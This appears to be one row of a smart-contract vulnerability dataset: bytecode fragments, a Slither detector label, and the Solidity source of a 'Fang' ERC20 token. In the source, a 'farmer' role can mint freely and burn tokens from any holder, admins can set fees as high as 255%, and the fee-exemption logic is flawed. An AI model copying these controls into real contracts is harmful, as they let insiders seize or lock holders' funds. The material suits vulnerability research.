c0565b6001600160a01b0381166000908152600960205260408120805491610feb83612143565b9190505589146110635760405162461bcd60e51b815260206004820152602160248201527f506c793a3a64656c656761746542795369673a20696e76616c6964206e6f6e6360448201527f650000000000000000000000000000000000000000000000000000000000000060648201526084016107c0565b874211156110d95760405162461bcd60e51b815260206004820152602560248201527f506c793a3a64656c656761746542795369673a207369676e617475726520657860448201527f706972656400000000000000000000000000000000000000000000000000000060648201526084016107c0565b6110e3818b61192d565b505050505b505050505050565b6000546001600160a01b0316331461114a5760405162461bcd60e51b815260206004820152601860248201527f43616c6c6572206973206e6f7420676f7665726e616e6365000000000000000060448201526064016107c0565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527fde4aabcd09171142d82dd9e667db43bf0dca12f30fa0aec30859875d35ecb5d69060200160405180910390a150565b60006000198614156111d057506001600160601b036111f5565b6111f28660405180606001604052806023815260200161229c602391396115d6565b90505b604080518082018252600381527f504c59000000000000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f970db3404c0b2d2d1e95a7c7533470a8113514b5de2f090d334ceede1c1a284e81840152466060820152306080808301919091528351808303909101815260a090910183528051908201206001600160a01b038b166000908152600990925291812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9190866112e883612143565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810188905260e001604051602081830303815290604052805190602001209050600082826040516020016113829291907f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff8b169284019290925260608301899052608083018890529092509060019060a0016020604051602081039080840390855afa1580156113ed573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166114505760405162461bcd60e51b815260206004820152601e60248201527f506c793a3a7065726d69743a20696e76616c6964207369676e6174757265000060448201526064016107c0565b8b6001600160a01b0316816001600160a01b0316146114b15760405162461bcd60e51b815260206004820152601960248201527f506c793a3a7065726d69743a20756e617574686f72697a65640000000000000060448201526064016107c0565b884211156115015760405162461bcd60e51b815260206004820152601e60248201527f506c793a3a7065726d69743a207369676e61747572652065787069726564000060448201526064016107c0565b84600460008e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055508a6001600160a01b03168c6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516115c091906001600160601b0391909116815260200190565b60405180910390a3505050505050505050505050565b6000816001600160601b038411156116015760405162461bcd60e51b81526004016107c09190611e1d565b509192915050565b6000836001600160601b0316836001600160601b0316111582906116405760405162461bcd60e51b81526004016107c09190611e1d565b5061164b838561215e565b949350505050565b6001600160a01b0383166116cf5760405162461bcd60e51b815260206004820152603b60248201527f506c793a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160448201527f6e736665722066726f6d20746865207a65726f2061646472657373000000000060648201526084016107c0565b6001600160a01b03821661174b5760405162461bcd60e51b815260206004820152603960248201527f506c793a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160448201527f6e7366657220746f20746865207a65726f20616464726573730000000000000060648201526084016107c0565b6001600160a01b0382163014156117ca5760405162461bcd60e51b815260206004820152603a60248201527f506c793a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160448201527f6e7366657220746f2074686520746f6b656e206164647265737300000000000060648201526084016107c0565b6001600160a01b038316600090815260056020908152604091829020548251606081019093526035808452611815936001600160601b0390921692859291906122e490830139611609565b6001600160a01b03848116600090815260056020908152604080832080546bffffffffffffffffffffffff19166001600160601b0396871617905592861682529082902054825160608101909352602f808452611882949190911692859290919061223a908301396119cf565b6001600160a01b0383811660008181526005602090815260409182902080546bffffffffffffffffffffffff19166001600160601b03968716179055905193851684529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36001600160a01b0380841660009081526006602052604080822054858416835291205461192892918216911683611a1c565b505050565b6001600160a01b03808316600081815260066020818152604080842080546005845282862054949093528787167fffffffffffffffffffffffff000000000000000000000000000000000000000084168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46119c9828483611a1c565b50505050565b6000806119dc848661217e565b9050846001600160601b0316816001600160601b031610158390611a135760405162461bcd60e51b81526004016107c09190611e1d565b50949350505050565b816001600160a01b0316836001600160a01b031614158015611a4757506000816001600160601b0316115b15611928576001600160a01b03831615611b0d576001600160a01b03831660009081526008602052604081205463ffffffff169081611a87576000611ad4565b6001600160a01b038516600090815260076020526040812090611aab6001856120d4565b63ffffffff16815260208101919091526040016000205464010000000090046001600160601b03165b90506000611afb828560405180606001604052806027815260200161221360279139611609565b9050611b0986848484611bc6565b5050505b6001600160a01b03821615611928576001600160a01b03821660009081526008602052604081205463ffffffff169081611b48576000611b95565b6001600160a01b038416600090815260076020526040812090611b6c6001856120d4565b63ffffffff16815260208101919091526040016000205464010000000090046001600160601b03165b90506000611bbc82856040518060600160405280602681526020016121ed602691396119cf565b90506110e8858484845b6000611bea4360405180606001604052806033815260200161226960339139611df9565b905060008463ffffffff16118015611c4457506001600160a01b038516600090815260076020526040812063ffffffff831691611c286001886120d4565b63ffffffff908116825260208201929092526040016000205416145b15611cc8576001600160a01b03851660009081526007602052604081208391611c6e6001886120d4565b63ffffffff168152602081019190915260400160002080546001600160601b0392909216640100000000027fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff909216919091179055611da4565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000908152600782528681208b8616825290915294909420925183549451909116640100000000027fffffffffffffffffffffffffffffffff00000000000000000000000000000000909416911617919091179055611d588460016121a9565b6001600160a01b038616600090815260086020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff929092169190911790555b604080516001600160601b038086168252841660208201526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b60008163ffffffff8411156116015760405162461bcd60e51b81526004016107c091905b600060208083528351808285015260005b81811015611e4a57858101830151858201604001528201611e2e565b81811115611e5c576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114611e8957600080fd5b919050565b60008060408385031215611ea157600080fd5b611eaa83611e72565b946020939093013593505050565b600080600060608486031215611ecd57600080fd5b611ed684611e72565b9250611ee460208501611e72565b9150604084013590509250925092565b600060208284031215611f0657600080fd5b610d8482611e72565b60008060408385031215611f2257600080fd5b611f2b83611e72565b915060208301356001600160601b0381168114611f4757600080fd5b809150509250929050565b803560ff81168114611e8957600080fd5b60008060008060008060c08789031215611f7c57600080fd5b611f8587611e72565b95506020870135945060408701359350611fa160608801611f52565b92506080870135915060a087013590509295509295509295565b600080600080600080600060e0888a031215611fd657600080fd5b611fdf88611e72565b9650611fed60208901611e72565b9550604088013594506060880135935061200960808901611f52565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561203857600080fd5b61204183611e72565b915061204f60208401611e72565b90509250929050565b6000806040838503121561206b57600080fd5b61207483611e72565b9150602083013563ffffffff81168114611f4757600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600082198211156120cf576120cf61208d565b500190565b600063ffffffff838116908316818110156120f1576120f161208d565b039392505050565b600063ffffffff80841680612137577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b92169190910492915050565b60006000198214156121575761215761208d565b5060010190565b60006001600160601b03838116908316818110156120f1576120f161208d565b60006001600160601b038083168185168083038211156121a0576121a061208d565b01949350505050565b600063ffffffff8083168185168083038211156121a0576121a061208d56fe506c793a3a617070726f76653a20616d6f756e7420657863656564732039362062697473506c793a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773506c793a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773506c793a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773506c793a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473506c793a3a7065726d69743a20616d6f756e7420657863656564732039362062697473506c793a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473506c793a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365506c793a6d696e74506c793a20746f74616c20737570706c79206f766572666c6f7773506c793a3a6d696e74506c793a206e6577206163636f756e742062616c616e6365206f766572666c6f7773506c793a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365a26469706673582212209e6233c7e2a28c9950e007ca0faba93e99a7db19106e42389bdeecd9d0bc9e6f64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 4,124 |
0x988fc5e37281f6c165886db96b3fdd2f61e6bb3f
|
/*
______
| ____|
| |__ __ _ _ __ __ _
| __/ _` | '_ \ / _` |
| | | (_| | | | | (_| |
|_| \__,_|_| |_|\__, |
__/ |
|___/
_ ___
#_~`--'__ `===-,
`.`. `#.,//
,_\_\ ## #\
`__.__ `####\
~~\ ,###'~
\##'
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface IUniswapERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapRouter01 {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapRouter02 is IUniswapRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface ERC20 {
function totalSupply() external view returns (uint _totalSupply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
}
contract Protected {
address owner;
mapping(address => bool) isAuth;
modifier onlyAuth() {
require(msg.sender==owner || isAuth[msg.sender], "not owner");
_;
}
function setAuth(address addy, bool booly) public onlyAuth {
isAuth[addy] = booly;
}
bool locked;
modifier safe() {
require(!locked, "reentrant");
locked = true;
_;
locked = false;
}
address farmer;
modifier onlyFarmer {
require(msg.sender==farmer, "403");
_;
}
function setFarmer(address addy) public onlyAuth {
farmer = addy;
}
receive() external payable {}
fallback() external payable {}
}
contract Fang is ERC20, Protected {
string public constant _name = 'Fang Token';
string public constant _symbol = 'FANG';
uint8 public constant _decimals = 18;
uint256 public constant InitialSupply= 1000 * 10**9 * 10**_decimals;
uint256 public _circulatingSupply= InitialSupply;
address public constant UniswapRouter=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public constant Dead = 0x000000000000000000000000000000000000dEaD;
IUniswapRouter02 router = IUniswapRouter02(UniswapRouter);
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) public _allowances;
mapping(address => bool) taxFree;
bool public noFees;
uint public liquidityFee = 1;
uint public accumulated;
uint public treshold = _circulatingSupply/1000;
address public earn;
address public pair_address;
IUniswapV2Pair public pair;
constructor() {
pair_address = IUniswapFactory(router.factory()).createPair(address(this), router.WETH());
pair = IUniswapV2Pair(pair_address);
owner = msg.sender;
isAuth[owner] = true;
taxFree[owner] = true;
_balances[owner] = totalSupply();
emit Transfer(Dead, owner, totalSupply());
}
function _transfer(address sender, address recipient, uint amount) private {
uint taxed_amount;
bool isExcluded = (taxFree[sender] || taxFree[recipient] || isAuth[sender] || isAuth[recipient] || sender==earn || recipient==earn);
bool isContractTransfer=(sender==address(this) || recipient==address(this));
bool isLiquidityTransfer = ((sender == pair_address && recipient == address(router)) || (recipient == pair_address && sender == address(router)));
if ((!isLiquidityTransfer || !isContractTransfer || !isExcluded) && (!noFees)) {
uint taxes = (amount*liquidityFee)/100;
taxed_amount = (amount-taxes);
_balances[sender] -= taxes;
_balances[address(this)] += taxes;
accumulated += taxes;
if(accumulated >= treshold) {
_swapContractToken(accumulated);
accumulated = 0;
}
emit Transfer(sender, address(this), taxes);
} else {
taxed_amount = amount;
}
_balances[sender] -= taxed_amount;
_balances[recipient] += taxed_amount;
emit Transfer(sender, recipient, taxed_amount);
}
function mint_rewards(uint qty, address receiver) external onlyFarmer {
_circulatingSupply += qty;
_balances[receiver] += qty;
emit Transfer(Dead, receiver, qty);
}
function burn_tokens(uint qty, address sender) external onlyFarmer{
_circulatingSupply -= qty;
require(_balances[sender] >= qty);
_balances[sender] -= qty;
emit Transfer(sender, Dead, qty);
}
function UTILITY_SetTaxes(uint8 liquidityFeees) public onlyAuth {
liquidityFee = liquidityFeees;
}
function _swapContractToken(uint256 totalMax) private safe {
uint256 tokenForLiquidity = totalMax;
uint256 liqToken = tokenForLiquidity / 2;
uint256 liqETHToken = tokenForLiquidity - liqToken;
uint256 swapToken = liqETHToken;
uint256 initialETHBalance = address(this).balance;
_swapTokenForETH(swapToken);
uint256 newETH = (address(this).balance - initialETHBalance);
uint256 liqETH = (newETH * liqETHToken) / swapToken;
_addLiquidity(liqToken, liqETH);
}
function _swapTokenForETH(uint256 amount) private {
_approve(address(this), address(router), amount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenamount, uint256 ETHamount) private {
_approve(address(this), address(router), tokenamount);
router.addLiquidityETH{value: ETHamount}(
address(this),
tokenamount,
0,
0,
address(this),
block.timestamp
);
}
function setEarn(address addy) public onlyAuth {
earn = addy;
}
function setFree(address addy, bool booly) public onlyAuth {
taxFree[addy] = booly;
}
function getOwner() external view returns (address) {
return owner;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() view public override returns (uint256) {
return _circulatingSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address _owner, address spender) external view override returns (uint256) {
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address _owner, address spender, uint256 amount) private {
require(_owner != address(0), "Approve from zero");
require(spender != address(0), "Approve to zero");
_allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "Transfer > allowance");
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "<0 allowance");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
}
|
0x6080604052600436106102085760003560e01c806370a0823111610118578063a9059cbb116100a0578063d28d88521161006f578063d28d88521461079f578063d389800f146107ca578063dd62ed3e146107f5578063e2ed781c14610832578063f018e7931461085b5761020f565b8063a9059cbb146106e3578063b09f126614610720578063c7639d801461074b578063d11ace62146107765761020f565b806395d89b41116100e757806395d89b41146105fa57806398118cb414610625578063a253c06e14610650578063a457c2d71461067b578063a8aa1b31146106b85761020f565b806370a082311461053c5780637a0443231461057957806382c4767b146105a4578063893d20e8146105cf5761020f565b8063313ce5671161019b578063395093511161016a57806339509351146104475780634529d559146104845780635508b14e146104ad5780636bc995ac146104d65780636ebcf607146104ff5761020f565b8063313ce5671461039b57806332424aa3146103c657806334184e26146103f1578063382512e81461041c5761020f565b806318160ddd116101d757806318160ddd146102df5780631eb25d131461030a57806323b872dd1461033557806326c081fc146103725761020f565b8063024c2ddd1461021157806306fdde031461024e578063095ea7b3146102795780630b44a218146102b65761020f565b3661020f57005b005b34801561021d57600080fd5b5061023860048036038101906102339190612487565b610886565b6040516102459190612a1b565b60405180910390f35b34801561025a57600080fd5b506102636108ab565b6040516102709190612919565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b919061255a565b6108e8565b6040516102ad91906128e3565b60405180910390f35b3480156102c257600080fd5b506102dd60048036038101906102d8919061251a565b6108ff565b005b3480156102eb57600080fd5b506102f4610a3c565b6040516103019190612a1b565b60405180910390f35b34801561031657600080fd5b5061031f610a46565b60405161032c9190612a1b565b60405180910390f35b34801561034157600080fd5b5061035c600480360381019061035791906124c7565b610a67565b60405161036991906128e3565b60405180910390f35b34801561037e57600080fd5b506103996004803603810190610394919061251a565b610b5a565b005b3480156103a757600080fd5b506103b0610c97565b6040516103bd9190612a90565b60405180910390f35b3480156103d257600080fd5b506103db610ca0565b6040516103e89190612a90565b60405180910390f35b3480156103fd57600080fd5b50610406610ca5565b6040516104139190612867565b60405180910390f35b34801561042857600080fd5b50610431610ccb565b60405161043e9190612a1b565b60405180910390f35b34801561045357600080fd5b5061046e6004803603810190610469919061255a565b610cd1565b60405161047b91906128e3565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a6919061259a565b610d6f565b005b3480156104b957600080fd5b506104d460048036038101906104cf919061262d565b610ed9565b005b3480156104e257600080fd5b506104fd60048036038101906104f8919061259a565b610fc8565b005b34801561050b57600080fd5b506105266004803603810190610521919061242d565b61117e565b6040516105339190612a1b565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e919061242d565b611196565b6040516105709190612a1b565b60405180910390f35b34801561058557600080fd5b5061058e6111df565b60405161059b9190612a1b565b60405180910390f35b3480156105b057600080fd5b506105b96111e5565b6040516105c69190612867565b60405180910390f35b3480156105db57600080fd5b506105e46111eb565b6040516105f19190612867565b60405180910390f35b34801561060657600080fd5b5061060f611214565b60405161061c9190612919565b60405180910390f35b34801561063157600080fd5b5061063a611251565b6040516106479190612a1b565b60405180910390f35b34801561065c57600080fd5b50610665611257565b6040516106729190612a1b565b60405180910390f35b34801561068757600080fd5b506106a2600480360381019061069d919061255a565b61125d565b6040516106af91906128e3565b60405180910390f35b3480156106c457600080fd5b506106cd611343565b6040516106da91906128fe565b60405180910390f35b3480156106ef57600080fd5b5061070a6004803603810190610705919061255a565b611369565b60405161071791906128e3565b60405180910390f35b34801561072c57600080fd5b50610735611380565b6040516107429190612919565b60405180910390f35b34801561075757600080fd5b506107606113b9565b60405161076d9190612867565b60405180910390f35b34801561078257600080fd5b5061079d6004803603810190610798919061242d565b6113d1565b005b3480156107ab57600080fd5b506107b46114f7565b6040516107c19190612919565b60405180910390f35b3480156107d657600080fd5b506107df611530565b6040516107ec9190612867565b60405180910390f35b34801561080157600080fd5b5061081c60048036038101906108179190612487565b611556565b6040516108299190612a1b565b60405180910390f35b34801561083e57600080fd5b506108596004803603810190610854919061242d565b6115dd565b005b34801561086757600080fd5b50610870611703565b60405161087d91906128e3565b60405180910390f35b6006602052816000526040600020602052806000526040600020600091509150505481565b60606040518060400160405280600a81526020017f46616e6720546f6b656e00000000000000000000000000000000000000000000815250905090565b60006108f5338484611716565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109a25750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6109e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d8906129db565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600354905090565b6012600a610a549190612bda565b64e8d4a51000610a649190612cf8565b81565b6000610a748484846118e1565b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2f9061297b565b60405180910390fd5b610b4e85338584610b499190612d52565b611716565b60019150509392505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bfd5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c33906129db565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006012905090565b601281565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000610d65338484600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d609190612b00565b611716565b6001905092915050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df69061293b565b60405180910390fd5b8160036000828254610e119190612b00565b9250508190555081600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e679190612b00565b925050819055508073ffffffffffffffffffffffffffffffffffffffff1661dead73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ecd9190612a1b565b60405180910390a35050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f7c5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610fbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb2906129db565b60405180910390fd5b8060ff1660098190555050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611058576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104f9061293b565b60405180910390fd5b816003600082825461106a9190612d52565b9250508190555081600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110bd57600080fd5b81600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461110c9190612d52565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111729190612a1b565b60405180910390a35050565b60056020528060005260406000206000915090505481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b61dead81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f46414e4700000000000000000000000000000000000000000000000000000000815250905090565b60095481565b60035481565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611322576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611319906129fb565b60405180910390fd5b611338338585846113339190612d52565b611716565b600191505092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113763384846118e1565b6